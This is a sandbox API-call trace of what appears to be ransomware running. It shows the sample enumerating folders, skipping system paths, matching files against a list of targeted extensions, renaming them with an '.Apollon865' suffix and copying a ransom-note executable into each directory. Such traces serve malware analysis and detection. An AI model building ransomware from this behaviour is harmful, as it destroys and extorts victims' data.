	[0039.856] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.apollon865"), dwFlags=0x1) returned 0
	[0039.860] GetLastError () returned 0x5
	[0039.860] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml MoveFileEx error 5\r\n") returned 127
	[0039.860] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml MoveFileEx error 5\r\n") returned 127
	[0039.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0039.860] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xba7
	[0039.860] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x7f, lpOverlapped=0x0) returned 1
	[0039.860] CloseHandle (hObject=0x14c) returned 1
	[0039.861] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0039.861] CloseHandle (hObject=0x0) returned 0
	[0039.861] CloseHandle (hObject=0x0) returned 0
	[0039.861] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="Apollon865.txt.exe") returned 1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2=".") returned 1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="..") returned 1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="windows") returned -1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="bootmgr") returned 1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="temp") returned -1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="pagefile.sys") returned 1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="boot") returned 1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="ids.txt") returned 1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="ntuser.dat") returned 1
	[0039.861] lstrcmpiW (lpString1="ringtones.ico", lpString2="perflogs") returned 1
	[0039.862] lstrcmpiW (lpString1="ringtones.ico", lpString2="MSBuild") returned 1
	[0039.862] lstrlenW (lpString="ringtones.ico") returned 13
	[0039.862] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned 98
	[0039.862] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="ringtones.ico" | out: lpString1="ringtones.ico") returned="ringtones.ico"
	[0039.862] lstrlenW (lpString="ringtones.ico") returned 13
	[0039.862] lstrlenW (lpString="Apollon865") returned 10
	[0039.862] lstrcmpiW (lpString1="gtones.ico", lpString2="Apollon865") returned 1
	[0039.862] lstrlenW (lpString=".dll") returned 4
	[0039.862] lstrcmpiW (lpString1="ringtones.ico", lpString2=".dll") returned 1
	[0039.862] lstrlenW (lpString=".lnk") returned 4
	[0039.862] lstrcmpiW (lpString1="ringtones.ico", lpString2=".lnk") returned 1
	[0039.862] lstrlenW (lpString=".ini") returned 4
	[0039.862] lstrcmpiW (lpString1="ringtones.ico", lpString2=".ini") returned 1
	[0039.862] lstrlenW (lpString=".sys") returned 4
	[0039.862] lstrcmpiW (lpString1="ringtones.ico", lpString2=".sys") returned 1
	[0039.862] lstrlenW (lpString="ringtones.ico") returned 13
	[0039.862] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="settings.ico" | out: lpString1="settings.ico") returned="settings.ico"
	[0039.862] lstrlenW (lpString="settings.ico") returned 12
	[0039.862] lstrlenW (lpString="Apollon865") returned 10
	[0039.862] lstrcmpiW (lpString1="ttings.ico", lpString2="Apollon865") returned 1
	[0039.862] lstrlenW (lpString=".dll") returned 4
	[0039.862] lstrcmpiW (lpString1="settings.ico", lpString2=".dll") returned 1
	[0039.862] lstrlenW (lpString=".lnk") returned 4
	[0039.862] lstrcmpiW (lpString1="settings.ico", lpString2=".lnk") returned 1
	[0039.862] lstrlenW (lpString=".ini") returned 4
	[0039.862] lstrcmpiW (lpString1="settings.ico", lpString2=".ini") returned 1
	[0039.862] lstrlenW (lpString=".sys") returned 4
	[0039.862] lstrcmpiW (lpString1="settings.ico", lpString2=".sys") returned 1
	[0039.862] lstrlenW (lpString="settings.ico") returned 12
	[0039.862] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="sync.ico" | out: lpString1="sync.ico") returned="sync.ico"
	[0039.862] lstrlenW (lpString="sync.ico") returned 8
	[0039.862] lstrlenW (lpString="Apollon865") returned 10
	[0039.862] lstrlenW (lpString=".dll") returned 4
	[0039.862] lstrcmpiW (lpString1="sync.ico", lpString2=".dll") returned 1
	[0039.863] lstrlenW (lpString=".lnk") returned 4
	[0039.863] lstrcmpiW (lpString1="sync.ico", lpString2=".lnk") returned 1
	[0039.863] lstrlenW (lpString=".ini") returned 4
	[0039.863] lstrcmpiW (lpString1="sync.ico", lpString2=".ini") returned 1
	[0039.863] lstrlenW (lpString=".sys") returned 4
	[0039.863] lstrcmpiW (lpString1="sync.ico", lpString2=".sys") returned 1
	[0039.863] lstrlenW (lpString="sync.ico") returned 8
	[0039.863] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="tasks.xml" | out: lpString1="tasks.xml") returned="tasks.xml"
	[0039.863] lstrlenW (lpString="tasks.xml") returned 9
	[0039.863] lstrlenW (lpString="Apollon865") returned 10
	[0039.863] lstrlenW (lpString=".dll") returned 4
	[0039.863] lstrcmpiW (lpString1="tasks.xml", lpString2=".dll") returned 1
	[0039.863] lstrlenW (lpString=".lnk") returned 4
	[0039.863] lstrcmpiW (lpString1="tasks.xml", lpString2=".lnk") returned 1
	[0039.863] lstrlenW (lpString=".ini") returned 4
	[0039.863] lstrcmpiW (lpString1="tasks.xml", lpString2=".ini") returned 1
	[0039.863] lstrlenW (lpString=".sys") returned 4
	[0039.863] lstrcmpiW (lpString1="tasks.xml", lpString2=".sys") returned 1
	[0039.863] lstrlenW (lpString="tasks.xml") returned 9
	[0039.863] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml.Apollon865") returned 106
	[0039.863] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml.apollon865"), dwFlags=0x1) returned 0
	[0039.867] GetLastError () returned 0x5
	[0039.867] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml MoveFileEx error 5\r\n") returned 124
	[0039.867] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml MoveFileEx error 5\r\n") returned 124
	[0039.880] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0039.882] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc26
	[0039.884] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x7c, lpOverlapped=0x0) returned 1
	[0039.884] CloseHandle (hObject=0x14c) returned 1
	[0039.885] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0039.885] CloseHandle (hObject=0x0) returned 0
	[0039.885] CloseHandle (hObject=0x0) returned 0
	[0039.885] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="Apollon865.txt.exe") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2=".") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="..") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="windows") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="bootmgr") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="temp") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="pagefile.sys") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="boot") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="ids.txt") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="ntuser.dat") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="perflogs") returned 1
	[0039.885] lstrcmpiW (lpString1="wmp.ico", lpString2="MSBuild") returned 1
	[0039.885] lstrlenW (lpString="wmp.ico") returned 7
	[0039.885] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned 95
	[0039.885] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="wmp.ico" | out: lpString1="wmp.ico") returned="wmp.ico"
	[0039.886] lstrlenW (lpString="wmp.ico") returned 7
	[0039.886] lstrlenW (lpString="Apollon865") returned 10
	[0039.886] lstrlenW (lpString=".dll") returned 4
	[0039.886] lstrcmpiW (lpString1="wmp.ico", lpString2=".dll") returned 1
	[0039.886] lstrlenW (lpString=".lnk") returned 4
	[0039.886] lstrcmpiW (lpString1="wmp.ico", lpString2=".lnk") returned 1
	[0039.886] lstrlenW (lpString=".ini") returned 4
	[0039.886] lstrcmpiW (lpString1="wmp.ico", lpString2=".ini") returned 1
	[0039.886] lstrlenW (lpString=".sys") returned 4
	[0039.886] lstrcmpiW (lpString1="wmp.ico", lpString2=".sys") returned 1
	[0039.886] lstrlenW (lpString="wmp.ico") returned 7
	[0039.886] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0039.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0039.886] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0039.886] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 91
	[0039.886] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0039.886] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.886] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.891] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.891] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe1b3f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.891] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.891] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.891] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.891] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe1b3f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.891] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.891] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.891] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.891] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.891] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fe1b3f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.891] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.891] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0039.891] lstrcmpiW (lpString1="resource.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="Apollon865.txt.exe") returned 1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2=".") returned 1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="..") returned 1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="windows") returned -1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="bootmgr") returned 1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="temp") returned -1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="pagefile.sys") returned 1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="boot") returned 1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="ids.txt") returned 1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="ntuser.dat") returned 1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="perflogs") returned 1
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2="MSBuild") returned 1
	[0039.892] lstrlenW (lpString="resource.xml") returned 12
	[0039.892] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned 93
	[0039.892] lstrcpyW (in: lpString1=0x2d3e608, lpString2="resource.xml" | out: lpString1="resource.xml") returned="resource.xml"
	[0039.892] lstrlenW (lpString="resource.xml") returned 12
	[0039.892] lstrlenW (lpString="Apollon865") returned 10
	[0039.892] lstrcmpiW (lpString1="source.xml", lpString2="Apollon865") returned 1
	[0039.892] lstrlenW (lpString=".dll") returned 4
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2=".dll") returned 1
	[0039.892] lstrlenW (lpString=".lnk") returned 4
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2=".lnk") returned 1
	[0039.892] lstrlenW (lpString=".ini") returned 4
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2=".ini") returned 1
	[0039.892] lstrlenW (lpString=".sys") returned 4
	[0039.892] lstrcmpiW (lpString1="resource.xml", lpString2=".sys") returned 1
	[0039.892] lstrlenW (lpString="resource.xml") returned 12
	[0039.892] lstrlenW (lpString="bak") returned 3
	[0039.892] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0039.892] lstrlenW (lpString="ba_") returned 3
	[0039.892] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0039.892] lstrlenW (lpString="dbb") returned 3
	[0039.892] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0039.892] lstrlenW (lpString="vmdk") returned 4
	[0039.892] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0039.892] lstrlenW (lpString="rar") returned 3
	[0039.892] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0039.893] lstrlenW (lpString="zip") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0039.893] lstrlenW (lpString="tgz") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0039.893] lstrlenW (lpString="vbox") returned 4
	[0039.893] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0039.893] lstrlenW (lpString="vdi") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0039.893] lstrlenW (lpString="vhd") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0039.893] lstrlenW (lpString="vhdx") returned 4
	[0039.893] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0039.893] lstrlenW (lpString="avhd") returned 4
	[0039.893] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0039.893] lstrlenW (lpString="db") returned 2
	[0039.893] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0039.893] lstrlenW (lpString="db2") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0039.893] lstrlenW (lpString="db3") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0039.893] lstrlenW (lpString="dbf") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0039.893] lstrlenW (lpString="mdf") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0039.893] lstrlenW (lpString="mdb") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0039.893] lstrlenW (lpString="sql") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0039.893] lstrlenW (lpString="sqlite") returned 6
	[0039.893] lstrcmpiW (lpString1="ce.xml", lpString2="sqlite") returned -1
	[0039.893] lstrlenW (lpString="sqlite3") returned 7
	[0039.893] lstrcmpiW (lpString1="rce.xml", lpString2="sqlite3") returned -1
	[0039.893] lstrlenW (lpString="sqlitedb") returned 8
	[0039.893] lstrcmpiW (lpString1="urce.xml", lpString2="sqlitedb") returned 1
	[0039.893] lstrlenW (lpString="xml") returned 3
	[0039.893] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0039.893] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml.Apollon865") returned 115
	[0039.894] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml.apollon865"), dwFlags=0x1) returned 0
	[0039.921] GetLastError () returned 0x5
	[0039.921] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml MoveFileEx error 5\r\n") returned 133
	[0039.921] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml MoveFileEx error 5\r\n") returned 133
	[0039.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x158
	[0039.921] SetFilePointer (in: hFile=0x158, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xca2
	[0039.921] WriteFile (in: hFile=0x158, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x85, lpOverlapped=0x0) returned 1
	[0039.922] CloseHandle (hObject=0x158) returned 1
	[0039.922] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0039.922] CloseHandle (hObject=0x0) returned 0
	[0039.923] CloseHandle (hObject=0x0) returned 0
	[0039.923] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0039.923] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.923] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0039.923] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device"
	[0039.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0039.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0039.923] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned 48
	[0039.923] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device"
	[0039.923] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.923] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.931] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
